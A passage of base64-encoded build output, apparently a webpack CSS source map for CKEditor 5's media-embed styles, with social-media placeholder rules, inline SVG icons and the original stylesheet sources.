prZ016Y3VOVGMxSURNM0xqVTNOU0F3SURBd0xTNDVPRGt0TVM0ME5DQXpOUzR4TWpjZ016VXVNVEkzSURBZ01EQXRMamsxTFRFdU5UQTRZeTB1TURnekxTNHhOakl0TGpFM05pMHVNekkyTFM0eU5qUXRMalE0T1hvaUlHWnBiR3c5SWlObVpHUmpOR1lpSUhCaGFXNTBMVzl5WkdWeVBTSnRZWEpyWlhKeklITjBjbTlyWlNCbWFXeHNJaTgrUEhCaGRHZ2daRDBpVFRJeE1TNDVPVGdnTWpZeExqQTRNMnd0Tmk0eE5USWdOaTR4TlRFZ01qUXVNalkwSURJMExqSTJOR2d1TnpneFlUVXVNakkzSURVdU1qSTNJREFnTURBMUxqSXpPUzAxTGpJek9IWXRNUzR3TkRWNklpQm1hV3hzUFNJalptWm1JaUJ3WVdsdWRDMXZjbVJsY2owaWJXRnlhMlZ5Y3lCemRISnZhMlVnWm1sc2JDSXZQand2Wno0OEwzTjJaejQ9KX0uY2stbWVkaWFfX3dyYXBwZXJbZGF0YS1vZW1iZWQtdXJsKj0iZmFjZWJvb2suY29tIl0gLmNrLW1lZGlhX19wbGFjZWhvbGRlcntiYWNrZ3JvdW5kOiM0MjY4YjN9LmNrLW1lZGlhX193cmFwcGVyW2RhdGEtb2VtYmVkLXVybCo9ImZhY2Vib29rLmNvbSJdIC5jay1tZWRpYV9fcGxhY2Vob2xkZXIgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9faWNvbntiYWNrZ3JvdW5kLWltYWdlOnVybChkYXRhOmltYWdlL3N2Zyt4bWw7YmFzZTY0LFBITjJaeUIzYVdSMGFEMGlNVEF5TkNJZ2FHVnBaMmgwUFNJeE1ESTBJaUI0Yld4dWN6MGlhSFIwY0RvdkwzZDNkeTUzTXk1dmNtY3ZNakF3TUM5emRtY2lQanh3WVhSb0lHUTlJazA1TmpjdU5EZzBJREJJTlRZdU5URTNRekkxTGpNd05DQXdJREFnTWpVdU16QTBJREFnTlRZdU5URTNkamt4TUM0NU5qWkRNQ0E1T1RndU5qazBJREkxTGpJNU55QXhNREkwSURVMkxqVXlNaUF4TURJMFNEVTBOMVkyTWpoSU5ERTBWalEzTTJneE16TldNelU1TGpBeU9XTXdMVEV6TWk0eU5qSWdPREF1TnpjekxUSXdOQzR5T0RJZ01UazRMamMxTmkweU1EUXVNamd5SURVMkxqVXhNeUF3SURFd05TNHdPRFlnTkM0eU1EZ2dNVEU1TGpJME5DQTJMakE0T1ZZeU9UbHNMVGd4TGpZeE5pNHdNemRqTFRZekxqazVNeUF3TFRjMkxqTTROQ0F6TUM0ME9USXROell1TXpnMElEYzFMakl6TmxZME56Tm9NVFV6TGpRNE4yd3RNVGt1T1RnMklERTFOVWczTURkMk16azJhREkyTUM0ME9EUmpNekV1TWpFeklEQWdOVFl1TlRFMkxUSTFMak13TXlBMU5pNDFNVFl0TlRZdU5URTJWalUyTGpVeE5VTXhNREkwSURJMUxqTXdNeUE1T1RndU5qazNJREFnT1RZM0xqUTROQ0F3SWlCbWFXeHNQU0lqUmtaR1JrWkZJaUJtYVd4c0xYSjFiR1U5SW1WMlpXNXZaR1FpTHo0OEwzTjJaejQ9KX0uY2stbWVkaWFfX3dyYXBwZXJbZGF0YS1vZW1iZWQtdXJsKj0iZmFjZWJvb2suY29tIl0gLmNrLW1lZGlhX19wbGFjZWhvbGRlciAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX191cmxfX3RleHR7Y29sb3I6I2NkZn0uY2stbWVkaWFfX3dyYXBwZXJbZGF0YS1vZW1iZWQtdXJsKj0iZmFjZWJvb2suY29tIl0gLmNrLW1lZGlhX19wbGFjZWhvbGRlciAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX191cmxfX3RleHQ6aG92ZXJ7Y29sb3I6I2ZmZn0uY2stbWVkaWFfX3dyYXBwZXJbZGF0YS1vZW1iZWQtdXJsKj0iaW5zdGFncmFtLmNvbSJdIC5jay1tZWRpYV9fcGxhY2Vob2xkZXJ7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQoLTEzNWRlZywjMTQwMGM3LCNiODAwYjEsI2Y1MDAwMCl9LmNrLW1lZGlhX193cmFwcGVyW2RhdGEtb2VtYmVkLXVybCo9Imluc3RhZ3JhbS5jb20iXSAuY2stbWVkaWFfX3BsYWNlaG9sZGVyIC5jay1tZWRpYV9fcGxhY2Vob2xkZXJfX2ljb257YmFja2dyb3VuZC1pbWFnZTp1cmwoZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCM2FXUjBhRDBpTlRBMElpQm9aV2xuYUhROUlqVXdOQ0lnZUcxc2JuTTlJbWgwZEhBNkx5OTNkM2N1ZHpNdWIzSm5Mekl3TURBdmMzWm5JaUI0Yld4dWN6cDRiR2x1YXowaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1UazVPUzk0YkdsdWF5SStQR1JsWm5NK1BIQmhkR2dnYVdROUltRWlJR1E5SWswd0lDNHhOVGxvTlRBekxqZzBNVlkxTURNdU9UUklNSG9pTHo0OEwyUmxabk0rUEdjZ1ptbHNiRDBpYm05dVpTSWdabWxzYkMxeWRXeGxQU0psZG1WdWIyUmtJajQ4YldGemF5QnBaRDBpWWlJZ1ptbHNiRDBpSTJabVppSStQSFZ6WlNCNGJHbHVhenBvY21WbVBTSWpZU0l2UGp3dmJXRnphejQ4Y0dGMGFDQmtQU0pOTWpVeExqa3lNUzR4TlRsakxUWTRMalF4T0NBd0xUYzJMams1Tnk0eU9TMHhNRE11T0RZM0lERXVOVEUyTFRJMkxqZ3hOQ0F4TGpJeU15MDBOUzR4TWpjZ05TNDBPREl0TmpFdU1UVXhJREV4TGpjeExURTJMalUyTmlBMkxqUXpOeTB6TUM0Mk1UVWdNVFV1TURVeExUUTBMall5TVNBeU9TNHdOVFl0TVRRdU1EQTFJREUwTGpBd05pMHlNaTQyTVRrZ01qZ3VNRFUxTFRJNUxqQTFOaUEwTkM0Mk1qRXROaTR5TWpnZ01UWXVNREkwTFRFd0xqUTROeUF6TkM0ek16Y3RNVEV1TnpFZ05qRXVNVFV4UXk0eU9TQXhOelV1TURneklEQWdNVGd6TGpZMk1pQXdJREkxTWk0d09HTXdJRFk0TGpReE55NHlPU0EzTmk0NU9UWWdNUzQxTVRZZ01UQXpMamcyTmlBeExqSXlNeUF5Tmk0NE1UUWdOUzQwT0RJZ05EVXVNVEkzSURFeExqY3hJRFl4TGpFMU1TQTJMalF6TnlBeE5pNDFOallnTVRVdU1EVXhJRE13TGpZeE5TQXlPUzR3TlRZZ05EUXVOakl4SURFMExqQXdOaUF4TkM0d01EVWdNamd1TURVMUlESXlMall4T1NBME5DNDJNakVnTWprdU1EVTNJREUyTGpBeU5DQTJMakl5TnlBek5DNHpNemNnTVRBdU5EZzJJRFl4TGpFMU1TQXhNUzQzTURrZ01qWXVPRGNnTVM0eU1qWWdNelV1TkRRNUlERXVOVEUySURFd015NDROamNnTVM0MU1UWWdOamd1TkRFM0lEQWdOell1T1RrMkxTNHlPU0F4TURNdU9EWTJMVEV1TlRFMklESTJMamd4TkMweExqSXlNeUEwTlM0eE1qY3ROUzQwT0RJZ05qRXVNVFV4TFRFeExqY3dPU0F4Tmk0MU5qWXROaTQwTXpnZ016QXVOakUxTFRFMUxqQTFNaUEwTkM0Mk1qRXRNamt1TURVM0lERTBMakF3TlMweE5DNHdNRFlnTWpJdU5qRTVMVEk0TGpBMU5TQXlPUzR3TlRjdE5EUXVOakl4SURZdU1qSTNMVEUyTGpBeU5DQXhNQzQwT0RZdE16UXVNek0zSURFeExqY3dPUzAyTVM0eE5URWdNUzR5TWpZdE1qWXVPRGNnTVM0MU1UWXRNelV1TkRRNUlERXVOVEUyTFRFd015NDROallnTUMwMk9DNDBNVGd0TGpJNUxUYzJMams1TnkweExqVXhOaTB4TURNdU9EWTNMVEV1TWpJekxUSTJMamd4TkMwMUxqUTRNaTAwTlM0eE1qY3RNVEV1TnpBNUxUWXhMakUxTVMwMkxqUXpPQzB4Tmk0MU5qWXRNVFV1TURVeUxUTXdMall4TlMweU9TNHdOVGN0TkRRdU5qSXhMVEUwTGpBd05pMHhOQzR3TURVdE1qZ3VNRFUxTFRJeUxqWXhPUzAwTkM0Mk1qRXRNamt1TURVMkxURTJMakF5TkMwMkxqSXlPQzB6TkM0ek16Y3RNVEF1TkRnM0xUWXhMakUxTVMweE1TNDNNVU16TWpndU9URTNMalEwT1NBek1qQXVNek00TGpFMU9TQXlOVEV1T1RJeExqRTFPWHB0TUNBME5TNHpPVEZqTmpjdU1qWTFJREFnTnpVdU1qTXpMakkxTnlBeE1ERXVOemszSURFdU5EWTVJREkwTGpVMk1pQXhMakV5SURNM0xqa3dNU0ExTGpJeU5DQTBOaTQzTnpnZ09DNDJOelFnTVRFdU56VTVJRFF1TlRjZ01qQXVNVFV4SURFd0xqQXlPU0F5T0M0NU5qWWdNVGd1T0RRMUlEZ3VPREUySURndU9ERTFJREUwTGpJM05TQXhOeTR5TURjZ01UZ3VPRFExSURJNExqazJOaUF6TGpRMUlEZ3VPRGMzSURjdU5UVTBJREl5TGpJeE5pQTRMalkzTkNBME5pNDNOemdnTVM0eU1USWdNall1TlRZMElERXVORFk1SURNMExqVXpNaUF4TGpRMk9TQXhNREV1TnprNElEQWdOamN1TWpZMUxTNHlOVGNnTnpVdU1qTXpMVEV1TkRZNUlERXdNUzQzT1RjdE1TNHhNaUF5TkM0MU5qSXROUzR5TWpRZ016Y3VPVEF4TFRndU5qYzBJRFEyTGpjM09DMDBMalUzSURFeExqYzFPUzB4TUM0d01qa2dNakF1TVRVeExURTRMamcwTlNBeU9DNDVOall0T0M0NE1UVWdPQzQ0TVRZdE1UY3VNakEzSURFMExqSTNOUzB5T0M0NU5qWWdNVGd1T0RRMUxUZ3VPRGMzSURNdU5EVXRNakl1TWpFMklEY3VOVFUwTFRRMkxqYzNPQ0E0TGpZM05DMHlOaTQxTmlBeExqSXhNaTB6TkM0MU1qY2dNUzQwTmprdE1UQXhMamM1TnlBeExqUTJPUzAyTnk0eU56RWdNQzAzTlM0eU16Y3RMakkxTnkweE1ERXVOems0TFRFdU5EWTVMVEkwTGpVMk1pMHhMakV5TFRNM0xqa3dNUzAxTGpJeU5DMDBOaTQzTnpndE9DNDJOelF0TVRFdU56VTVMVFF1TlRjdE1qQXVNVFV4TFRFd0xqQXlPUzB5T0M0NU5qWXRNVGd1T0RRMUxUZ3VPREUxTFRndU9ERTFMVEUwTGpJM05TMHhOeTR5TURjdE1UZ3VPRFExTFRJNExqazJOaTB6TGpRMUxUZ3VPRGMzTFRjdU5UVTBMVEl5TGpJeE5pMDRMalkzTkMwME5pNDNOemd0TVM0eU1USXRNall1TlRZMExURXVORFk1TFRNMExqVXpNaTB4TGpRMk9TMHhNREV1TnprM0lEQXROamN1TWpZMkxqSTFOeTAzTlM0eU16UWdNUzQwTmprdE1UQXhMamM1T0NBeExqRXlMVEkwTGpVMk1pQTFMakl5TkMwek55NDVNREVnT0M0Mk56UXRORFl1TnpjNElEUXVOVGN0TVRFdU56VTVJREV3TGpBeU9TMHlNQzR4TlRFZ01UZ3VPRFExTFRJNExqazJOaUE0TGpneE5TMDRMamd4TmlBeE55NHlNRGN0TVRRdU1qYzFJREk0TGprMk5pMHhPQzQ0TkRVZ09DNDROemN0TXk0ME5TQXlNaTR5TVRZdE55NDFOVFFnTkRZdU56YzRMVGd1TmpjMElESTJMalUyTkMweExqSXhNaUF6TkM0MU16SXRNUzQwTmprZ01UQXhMamM1T0MweExqUTJPWG9pSUdacGJHdzlJaU5HUmtZaUlHMWhjMnM5SW5WeWJDZ2pZaWtpTHo0OGNHRjBhQ0JrUFNKTk1qVXhMamt5TVNBek16WXVNRFV6WXkwME5pNHpOemdnTUMwNE15NDVOelF0TXpjdU5UazJMVGd6TGprM05DMDRNeTQ1TnpNZ01DMDBOaTR6TnpnZ016Y3VOVGsyTFRnekxqazNOQ0E0TXk0NU56UXRPRE11T1RjMElEUTJMak0zTnlBd0lEZ3pMamszTXlBek55NDFPVFlnT0RNdU9UY3pJRGd6TGprM05DQXdJRFEyTGpNM055MHpOeTQxT1RZZ09ETXVPVGN6TFRnekxqazNNeUE0TXk0NU56TjZiVEF0TWpFekxqTXpPR010TnpFdU5EUTNJREF0TVRJNUxqTTJOU0ExTnk0NU1UZ3RNVEk1TGpNMk5TQXhNamt1TXpZMUlEQWdOekV1TkRRMklEVTNMamt4T0NBeE1qa3VNelkwSURFeU9TNHpOalVnTVRJNUxqTTJOQ0EzTVM0ME5EWWdNQ0F4TWprdU16WTBMVFUzTGpreE9DQXhNamt1TXpZMExURXlPUzR6TmpRZ01DMDNNUzQwTkRjdE5UY3VPVEU0TFRFeU9TNHpOalV0TVRJNUxqTTJOQzB4TWprdU16WTFlazAwTVRZdU5qSTNJREV4Tnk0Mk1EUmpNQ0F4Tmk0Mk9UWXRNVE11TlRNMUlETXdMakl6TFRNd0xqSXpNU0F6TUM0eU15MHhOaTQyT1RVZ01DMHpNQzR5TXkweE15NDFNelF0TXpBdU1qTXRNekF1TWpNZ01DMHhOaTQyT1RZZ01UTXVOVE0xTFRNd0xqSXpNU0F6TUM0eU15MHpNQzR5TXpFZ01UWXVOamsySURBZ016QXVNak14SURFekxqVXpOU0F6TUM0eU16RWdNekF1TWpNeElpQm1hV3hzUFNJalJrWkdJaTgrUEM5blBqd3ZjM1puUGc9PSl9LmNrLW1lZGlhX193cmFwcGVyW2RhdGEtb2VtYmVkLXVybCo9Imluc3RhZ3JhbS5jb20iXSAuY2stbWVkaWFfX3BsYWNlaG9sZGVyIC5jay1tZWRpYV9fcGxhY2Vob2xkZXJfX3VybF9fdGV4dHtjb2xvcjojZmZlMGZlfS5jay1tZWRpYV9fd3JhcHBlcltkYXRhLW9lbWJlZC11cmwqPSJpbnN0YWdyYW0uY29tIl0gLmNrLW1lZGlhX19wbGFjZWhvbGRlciAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX191cmxfX3RleHQ6aG92ZXJ7Y29sb3I6I2ZmZn0uY2stbWVkaWFfX3dyYXBwZXJbZGF0YS1vZW1iZWQtdXJsKj0idHdpdHRlci5jb20iXSAuY2suY2stbWVkaWFfX3BsYWNlaG9sZGVye2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLCM3MWM2ZjQsIzBkNzBhNSl9LmNrLW1lZGlhX193cmFwcGVyW2RhdGEtb2VtYmVkLXVybCo9InR3aXR0ZXIuY29tIl0gLmNrLmNrLW1lZGlhX19wbGFjZWhvbGRlciAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX19pY29ue2JhY2tncm91bmQtaW1hZ2U6dXJsKGRhdGE6aW1hZ2Uvc3ZnK3htbDtiYXNlNjQsUEhOMlp5QjRiV3h1Y3owaWFIUjBjRG92TDNkM2R5NTNNeTV2Y21jdk1qQXdNQzl6ZG1jaUlIWnBaWGRDYjNnOUlqQWdNQ0EwTURBZ05EQXdJajQ4Y0dGMGFDQmtQU0pOTkRBd0lESXdNR013SURFeE1DNDFMVGc1TGpVZ01qQXdMVEl3TUNBeU1EQlRNQ0F6TVRBdU5TQXdJREl3TUNBNE9TNDFJREFnTWpBd0lEQnpNakF3SURnNUxqVWdNakF3SURJd01IcE5NVFl6TGpRZ016QTFMalZqT0RndU55QXdJREV6Tnk0eUxUY3pMalVnTVRNM0xqSXRNVE0zTGpJZ01DMHlMakVnTUMwMExqSXRMakV0Tmk0eUlEa3VOQzAyTGpnZ01UY3VOaTB4TlM0eklESTBMakV0TWpVdE9DNDJJRE11T0MweE55NDVJRFl1TkMweU55NDNJRGN1TmlBeE1DMDJJREUzTGpZdE1UVXVOQ0F5TVM0eUxUSTJMamN0T1M0eklEVXVOUzB4T1M0MklEa3VOUzB6TUM0MklERXhMamN0T0M0NExUa3VOQzB5TVM0ekxURTFMakl0TXpVdU1pMHhOUzR5TFRJMkxqWWdNQzAwT0M0eUlESXhMall0TkRndU1pQTBPQzR5SURBZ015NDRMalFnTnk0MUlERXVNeUF4TVMwME1DNHhMVEl0TnpVdU5pMHlNUzR5TFRrNUxqUXROVEF1TkMwMExqRWdOeTR4TFRZdU5TQXhOUzQwTFRZdU5TQXlOQzR5SURBZ01UWXVOeUE0TGpVZ016RXVOU0F5TVM0MUlEUXdMakV0Tnk0NUxTNHlMVEUxTGpNdE1pNDBMVEl4TGpndE5uWXVObU13SURJekxqUWdNVFl1TmlBME1pNDRJRE00TGpjZ05EY3VNeTAwSURFdU1TMDRMak1nTVM0M0xURXlMamNnTVM0M0xUTXVNU0F3TFRZdU1TMHVNeTA1TGpFdExqa2dOaTR4SURFNUxqSWdNak11T1NBek15NHhJRFExSURNekxqVXRNVFl1TlNBeE1pNDVMVE0zTGpNZ01qQXVOaTAxT1M0NUlESXdMall0TXk0NUlEQXROeTQzTFM0eUxURXhMalV0TGpjZ01qRXVNU0F4TXk0NElEUTJMalVnTWpFdU9DQTNNeTQzSURJeExqZ2lJR1pwYkd3OUlpTm1abVlpTHo0OEwzTjJaejQ9KX0uY2stbWVkaWFfX3dyYXBwZXJbZGF0YS1vZW1iZWQtdXJsKj0idHdpdHRlci5jb20iXSAuY2suY2stbWVkaWFfX3BsYWNlaG9sZGVyIC5jay1tZWRpYV9fcGxhY2Vob2xkZXJfX3VybF9fdGV4dHtjb2xvcjojYjhlNmZmfS5jay1tZWRpYV9fd3JhcHBlcltkYXRhLW9lbWJlZC11cmwqPSJ0d2l0dGVyLmNvbSJdIC5jay5jay1tZWRpYV9fcGxhY2Vob2xkZXIgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9fdXJsX190ZXh0OmhvdmVye2NvbG9yOiNmZmZ9JywiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS1tZWRpYS1lbWJlZC90aGVtZS9tZWRpYWVtYmVkZWRpdGluZy5jc3MiLCJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9jb21wb25lbnRzL3Rvb2x0aXAvbWl4aW5zL190b29sdGlwLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LW1lZGlhLWVtYmVkL21lZGlhZW1iZWRlZGl0aW5nLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQVFDLDBDQUNDLFlBQWEsQ0FDYixxQkFBc0IsQ0FDdEIsa0JBbUJELENDcEJBLGtGQUNDLGFBcUJELENBSEMsb0JBbkJELGtGQW9CRSxZQUVGLENBREMsQ0RsQkEsc0VBSUMsY0FBZSxDQUVmLGlCQVVELENDb0JELHdGQUNDLGtCQUFtQixDQUNuQixTQUNELENEM0JFLHdHQUNDLGVBQWdCLENBQ2hCLGFBQ0QsQ0FRRCwrVUFDQyxZQUNELENBWUYsMkxBQ0MsbUJBQ0QsQ0UvQ0EsTUFDQywwQ0FBMkMsQ0FFM0MsbURBQTRELENBQzVELDJFQUNELENBRUEsbUJBQ0MsYUE0RkQsQ0ExRkMsMENBQ0MsMENBQStDLENBQy9DLDBDQTRCRCxDQTFCQyx1RUFDQyxxREFBc0QsQ0FDdEQsa0RBQW1ELENBQ25ELHFDQUFzQyxDQUN0Qyx1QkFBMkIsQ0FDM0IscUJBTUQsQ0FKQyxnRkFDQyxVQUFXLENBQ1gsV0FDRCxDQUdELDRFQUNDLHNEQUF1RCxDQUN2RCxrQkFBbUIsQ0FDbkIsaUJBQWtCLENBQ2xCLGlCQUFrQixDQUNsQixzQkFPRCxDQUxDLGtGQUNDLDREQUE2RCxDQUM3RCxjQUFlLENBQ2YseUJBQ0QsQ0FJRix3REFDQyxlQUFnQixDQUNoQixnQkFDRCxDQUVBLG9GQUNDLGd2R0FDRCxDQUVBLDJFQUNDLGtCQWFELENBWEMsd0dBQ0Msb3JCQUNELENBRUEsNkdBQ0MsVUFLRCxDQUhDLG1IQUNDLFVBQ0QsQ0FJRiw0RUFDQywyREFjRCxDQVpDLHlHQUNDLDRqSEFDRCxDQUdBLDhHQUNDLGFBS0QsQ0FIQyxvSEFDQyxVQUNELENBSUYsNkVBRUMsaURBYUQsQ0FYQywwR0FDQyw0OEJBQ0QsQ0FFQSwrR0FDQyxhQUtELENBSEMscUhBQ0MsVUFDRCIsc291cmNlc0NvbnRlbnQ6WycvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIkBja2VkaXRvci9ja2VkaXRvcjUtdWkvdGhlbWUvY29tcG9uZW50cy90b29sdGlwL21peGlucy9fdG9vbHRpcC5jc3MiO1xuXG4uY2stbWVkaWFfX3dyYXBwZXIge1xuXHQmIC5jay1tZWRpYV9fcGxhY2Vob2xkZXIge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXG5cdFx0JiAuY2stbWVkaWFfX3BsYWNlaG9sZGVyX191cmwge1xuXHRcdFx0QG1peGluIGNrLXRvb2x0aXBfZW5hYmxlZDtcblxuXHRcdFx0LyogT3RoZXJ3aXNlIHRoZSBVUkwgd2lsbCBvdmVyZmxvdyB3aGVuIHRoZSBjb250ZW50IGlzIHZlcnkgbmFycm93LiAqL1xuXHRcdFx0bWF4LXdpZHRoOiAxMDAlO1xuXG5cdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cblx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRAbWl4aW4gY2stdG9vbHRpcF92aXNpYmxlO1xuXHRcdFx0fVxuXG5cdFx0XHQmIC5jay1tZWRpYV9fcGxhY2Vob2xkZXJfX3VybF9fdGV4dCB7XG5cdFx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdCZbZGF0YS1vZW1iZWQtdXJsKj0idHdpdHRlci5jb20iXSxcblx0JltkYXRhLW9lbWJlZC11cmwqPSJnb29nbGUuY29tL21hcHMiXSxcblx0JltkYXRhLW9lbWJlZC11cmwqPSJmYWNlYm9vay5jb20iXSxcblx0JltkYXRhLW9lbWJlZC11cmwqPSJpbnN0YWdyYW0uY29tIl0ge1xuXHRcdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9faWNvbiAqIHtcblx0XHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0fVxuXHR9XG59XG5cbi8qIERpc2FibGUgYWxsIG1vdXNlIGludGVyYWN0aW9uIGFzIGxvbmcgYXMgdGhlIGVkaXRvciBpcyBub3QgcmVhZOKAk29ubHkuXG4gICBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LW1lZGlhLWVtYmVkL2lzc3Vlcy81OCAqL1xuLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1yZWFkLW9ubHkpIC5jay1tZWRpYV9fd3JhcHBlciA+ICo6bm90KC5jay1tZWRpYV9fcGxhY2Vob2xkZXIpIHtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG59XG5cbi8qIERpc2FibGUgYWxsIG1vdXNlIGludGVyYWN0aW9uIHdoZW4gdGhlIHdpZGdldCBpcyBub3Qgc2VsZWN0ZWQgKGUuZy4gdG8gYXZvaWQgb3BlbmluZyBsaW5rcyBieSBhY2NpZGVudCkuXG4gICBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LW1lZGlhLWVtYmVkL2lzc3Vlcy8xOCAqL1xuLmNrLWVkaXRvcl9fZWRpdGFibGU6bm90KC5jay1yZWFkLW9ubHkpIC5jay13aWRnZXQ6bm90KC5jay13aWRnZXRfc2VsZWN0ZWQpIC5jay1tZWRpYV9fcGxhY2Vob2xkZXIge1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBFbmFibGVzIHRoZSB0b29sdGlwLCB3aGljaCBpcyB0aGUgdG9vbHRpcCBpcyBpbiBET00gYnV0XG4gKiBub3QgeWV0IGRpc3BsYXllZC5cbiAqL1xuQGRlZmluZS1taXhpbiBjay10b29sdGlwX2VuYWJsZWQge1xuXHQmIC5jay10b29sdGlwIHtcblx0XHRkaXNwbGF5OiBibG9jaztcblxuXHRcdC8qXG5cdFx0ICogRG9uJ3QgZGlzcGxheSB0b29sdGlwcyBpbiBkZXZpY2VzIHdoaWNoIGRvbid0IHN1cHBvcnQgOmhvdmVyLlxuXHRcdCAqIEluIGZhY3QsIGl0J3MgYWxsIGFib3V0IGlPUywgd2hpY2ggZm9yY2VzIHVzZXIgdG8gY2xpY2sgVUkgZWxlbWVudHMgdHdpY2UgdG8gZXhlY3V0ZVxuXHRcdCAqIHRoZSBwcmltYXJ5IGFjdGlvbiwgd2hlbiB0b29sdGlwcyBhcmUgZW5hYmxlZC5cblx0XHQgKlxuXHRcdCAqIFE6IE9LLCBidXQgd2h5IG5vdCB0aGUgZm9sbG93aW5nIHF1ZXJ5P1xuXHRcdCAqXG5cdFx0ICogICBAbWVkaWEgKGhvdmVyKSB7XG5cdFx0ICogICAgICAgZGlzcGxheTogYmxvY2s7XG5cdFx0ICogICB9XG5cdFx0ICpcblx0XHQgKiBBOiBCZWNhdXNlIEZGIGRvZXMgbm90IHN1cHBvcnQgaXQgYW5kIGl0IHdvdWxkIGNvbXBsZXRlbHkgZGlzYWJsZSB0b29sdGlwc1xuXHRcdCAqIGluIHRoYXQgYnJvd3Nlci5cblx0XHQgKlxuXHRcdCAqIE1vcmUgaW4gaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS9pc3N1ZXMvOTIwLlxuXHRcdCAqL1xuXHRcdEBtZWRpYSAoaG92ZXI6bm9uZSkge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdH1cbn1cblxuLyoqXG4gKiBEaXNhYmxlcyB0aGUgdG9vbHRpcCBtYWtpbmcgaXQgZGlzYXBwZWFyIGZyb20gRE9NLlxuICovXG5AZGVmaW5lLW1peGluIGNrLXRvb2x0aXBfZGlzYWJsZWQge1xuXHQmIC5jay10b29sdGlwIHtcblx0XHRkaXNwbGF5OiBub25lO1xuXHR9XG59XG5cbi8qKlxuICogU2hvd3MgdGhlIHRvb2x0aXAsIHdoaWNoIGlzIGFscmVhZHkgaW4gRE9NLlxuICogUmVxdWlyZXMgYGNrLXRvb2x0aXBfZW5hYmxlZGAgZmlyc3QuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stdG9vbHRpcF92aXNpYmxlIHtcblx0JiAuY2stdG9vbHRpcCB7XG5cdFx0dmlzaWJpbGl0eTogdmlzaWJsZTtcblx0XHRvcGFjaXR5OiAxO1xuXHR9XG59XG4iLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbjpyb290IHtcblx0LS1jay1tZWRpYS1lbWJlZC1wbGFjZWhvbGRlci1pY29uLXNpemU6IDNlbTtcblxuXHQtLWNrLWNvbG9yLW1lZGlhLWVtYmVkLXBsYWNlaG9sZGVyLXVybC10ZXh0OiBoc2woMCwgMCUsIDQ2JSk7XG5cdC0tY2stY29sb3ItbWVkaWEtZW1iZWQtcGxhY2Vob2xkZXItdXJsLXRleHQtaG92ZXI6IHZhcigtLWNrLWNvbG9yLWJhc2UtdGV4dCk7XG59XG5cbi5jay1tZWRpYV9fd3JhcHBlciB7XG5cdG1hcmdpbjogMCBhdXRvO1xuXG5cdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlciB7XG5cdFx0cGFkZGluZzogY2FsYyggMyAqIHZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpICk7XG5cdFx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItYmFzZS1mb3JlZ3JvdW5kKTtcblxuXHRcdCYgLmNrLW1lZGlhX19wbGFjZWhvbGRlcl9faWNvbiB7XG5cdFx0XHRtaW4td2lkdGg6IHZhcigtLWNrLW1lZGlhLWVtYmVkLXBsYWNlaG9sZGVyLWljb24tc2l6ZSk7XG5cdFx0XHRoZWlnaHQ6IHZhcigtLWNrLW1lZGlhLWVtYmVkLXBsYWNlaG9sZGVyLWljb24tc2l6ZSk7XG5cdFx0